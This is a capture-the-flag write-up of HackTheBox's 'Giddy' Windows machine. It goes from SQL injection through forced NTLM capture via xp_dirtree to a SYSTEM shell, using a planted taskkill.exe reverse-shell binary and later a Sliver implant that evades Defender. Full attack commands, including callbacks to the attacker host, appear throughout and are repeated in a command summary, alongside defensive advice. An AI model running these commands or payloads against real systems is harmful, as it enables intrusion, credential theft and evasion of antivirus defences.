1. Target Overview

• Machine Name: Giddy

• Platform: HackTheBox

• Operating System: Windows

• Target IP: 10.129.96.140

• Objective: Gain initial access to the target system and escalate privileges to full administrative control.

This box stood out to me because it reinforced core fundamentals while also introducing new tools and techniques that I know will be useful moving forward. One of the biggest takeaways for me was that this was the first machine where I had to seriously deal with antivirus evasion, which is something you can’t ignore in real-world environments. Up to this point, payloads had just worked, but this box forced me to understand why they fail and how to adapt. Overall, it was a well-rounded and very instructional machine that strengthened my foundation while introducing practical, real-world considerations like AV evasion and modern payload generation.

Tools Used

• Nmap

• ffuf

• sqlmap

• Responder

• John the Ripper

• Evil-WinRM

• msfvenom

• Sliver

---

2. Enumeration

I began the engagement with an Nmap scan to understand the attack surface of the target.

nmap -sC -sV -T4 10.129.96.140

From the scan results, I observed several key services:

• 80/tcp (HTTP) → Microsoft IIS 10.0

• 443/tcp (HTTPS) → Microsoft IIS 10.0

• 3389/tcp (RDP) → Microsoft Terminal Services

• 5985/tcp (WinRM/HTTPAPI)

While RDP and WinRM were exposed, the most promising attack surface was clearly the web services running on ports 80 and 443.

I started with directory fuzzing against both HTTP and HTTPS using ffuf while manually inspecting the web applications in my browser.

ffuf -u https://10.129.96.140/FUZZ -w /usr/share/wordlists/elite.txt

When visiting the root page on both ports, I was met with nothing more than a static image of a dog.

There was no functionality, no input fields, and no obvious attack vectors. Even inspecting the page source revealed nothing useful.

At this point, I shifted focus to my ffuf results, which revealed two interesting endpoints:

• /remote

• /mvc

The /remote endpoint presented a Windows PowerShell Web Access login portal, which immediately stood out as a high-value target. However, without credentials, I could not proceed further at that stage.

I then moved to the /mvc endpoint, which appeared to be a basic marketplace-style web application skeleton of a site in development.

While browsing through it, I noticed that product links exposed a query string parameter:

Product.aspx?ProductSubCategoryId=11

Anytime I see a query parameter like this, it immediately becomes a priority target for testing injection vulnerabilities.

I first tested for file inclusion by attempting to load a local file such as /windows/win.ini, but this did not yield any results.

Next, I tested for SQL injection by inserting a single quote (') into the parameter. This triggered a 500 internal server error, leaking backend SQL information.

That right there is a classic sign of SQL injection. The application was not properly sanitizing input, and the backend database was exposing error messages. At that point, I knew this was a potential path forward towards compromise.

---

3. Exploitation

With a confirmed SQL injection point, I moved to automate exploitation using sqlmap.

sqlmap -u "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=11" --level 4 --risk 3 --batch

Sqlmap successfully identified a Microsoft SQL Server backend and allowed me to enumerate databases and dump tables. However, there were no useful credentials or sensitive data exposed.

At this point, I pivoted to a more traditional but extremely effective technique: capturing NTLM authentication via SQL Server.

I set up an SMB listener using Responder and leveraged the xp_dirtree function through sqlmap to force the server to authenticate to my machine:

sqlmap -u "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=11" \
--level 4 --risk 3 \
--sql-query="EXEC master..xp_dirtree '\\\\10.10.15.205\\share'" \
--batch

This worked perfectly. The server attempted authentication, and I captured an NTLMv2 hash for the user Stacy.

I then cracked the hash offline using John the Ripper:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

With valid credentials in hand, I returned to the /remote PowerShell Web Access portal and successfully authenticated, gaining a PowerShell session on the target as Stacy.

---

4. Privilege Escalation

Now operating as a low-privileged user, I began my standard Windows privilege escalation process.

• Enumerated users:

net user

• Checked privileges:

whoami /all

No useful privileges were identified.

I then checked for:

• AutoLogon credentials → none

• GPP cpasswords → none

At that point, I pivoted to the user’s home directory and discovered an interesting file:

unifivideo

After transferring it to my machine and inspecting it, I found it contained only:

stop

This pointed me toward UniFi Video, a service likely installed on the system.

Research revealed a known privilege escalation vulnerability:

• The UniFi Video service runs as SYSTEM

• It attempts to execute taskkill.exe from its installation directory

• The directory is writable by low-privileged users

• The binary does not exist by default

That combination allows arbitrary code execution as SYSTEM.

I confirmed the directory existed and was writable, then generated a reverse shell payload using msfvenom:

msfvenom -p windows/shell/reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f exe -o taskkill.exe

I transferred the payload to the target and identified the service name by enumerating the registry:

dir HKLM:\SYSTEM\CurrentControlSet\Services | findstr /i unifi

After identifying the service, I stopped and restarted it to trigger execution.

However, no shell was received.

This was a key turning point. The payload failed because Windows Defender detected and blocked the msfvenom binary.

Instead of forcing the same approach, I adapted and switched tools.

This is where I was introduced to Sliver, and more importantly, the concept of implants.

An implant is not just a basic payload—it is a more advanced, often obfuscated executable designed to behave like a legitimate program while maintaining a connection back to the attacker. These are far more effective in environments with antivirus protections because they avoid the well-known signatures that tools like msfvenom produce.

I generated a new implant using Sliver:

sliver > mtls
sliver > generate --mtls 10.10.15.205 --os windows --arch amd64

I renamed the generated binary to taskkill.exe and transferred it to the target.

After restarting the UniFi service again, the implant executed successfully and bypassed Defender.

I received a callback and confirmed my privileges:

whoami

NT AUTHORITY\SYSTEM

Full control of the machine.

---

5. Lessons Learned

1. Web Enumeration Is Everything
Identifying /mvc and recognizing the importance of query parameters was the key that unlocked the entire attack chain.

2. SQL Injection Can Be Leveraged Indirectly
Even without credentials in the database, SQL injection still provided a path to capture NTLM hashes.

3. NTLM Capture Remains Extremely Effective
Forcing authentication through SQL Server functions is a reliable method when direct data extraction fails.

4. Antivirus Changes the Game Completely
This was my first real exposure to payloads failing due to Defender. It forced me to stop relying on “default” tools and start thinking about detection and evasion.

5. Understanding Implants vs Traditional Payloads- How to Use Sliver
This box taught me that msfvenom payloads are often noisy and easily detected. In contrast, tools like Sliver generate implants that:

• Use modern communication methods (like mTLS)

• Are obfuscated and less signature-based

• Behave more like real applications

This is a major shift in mindset from “just get a shell” to “get a shell that survives defenses.”

6. Tool Adaptation Is Critical
When msfvenom failed, switching to Sliver wasn’t optional—it was necessary. This reinforced the idea that no single tool is enough.

---

6. Defensive Insight

1. Proper Input Validation Prevents SQL Injection
Parameterized queries would have completely eliminated the initial attack vector.

2. Restrict Dangerous SQL Functions
Functions like xp_dirtree should not be accessible, as they enable forced authentication attacks.

3. Block Outbound SMB Traffic
Preventing outbound authentication would stop NTLM hash capture attacks entirely.

4. Secure Service Execution Paths
Services running as SYSTEM must not rely on executables in writable directories.

5. Improve Behavioral Detection
Signature-based detection caught msfvenom, but stronger behavioral detection is needed to catch more advanced implants like those generated by Sliver.

---

Useful Commands

Nmap Scan

nmap -sC -sV -T4 10.129.96.140

Directory Fuzzing

ffuf -u https://10.129.96.140/FUZZ -w /usr/share/wordlists/elite.txt

SQL Injection with sqlmap

sqlmap -u "http://10.129.96.140/mvc/Product.aspx?ProductSubCategoryId=11" --level 4 --risk 3 --batch

NTLM Capture via SQL Server

--sql-query="EXEC master..xp_dirtree '\\\\10.10.15.205\\share'"

Crack NTLM Hash

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Generate msfvenom Payload

msfvenom -p windows/shell/reverse_tcp LHOST=10.10.15.205 LPORT=7777 -f exe -o taskkill.exe

Enumerate Services via Registry

dir HKLM:\SYSTEM\CurrentControlSet\Services | findstr /i unifi

Generate Sliver Implant

sliver > mtls
sliver > generate --mtls 10.10.15.205 --os windows --arch amd64

---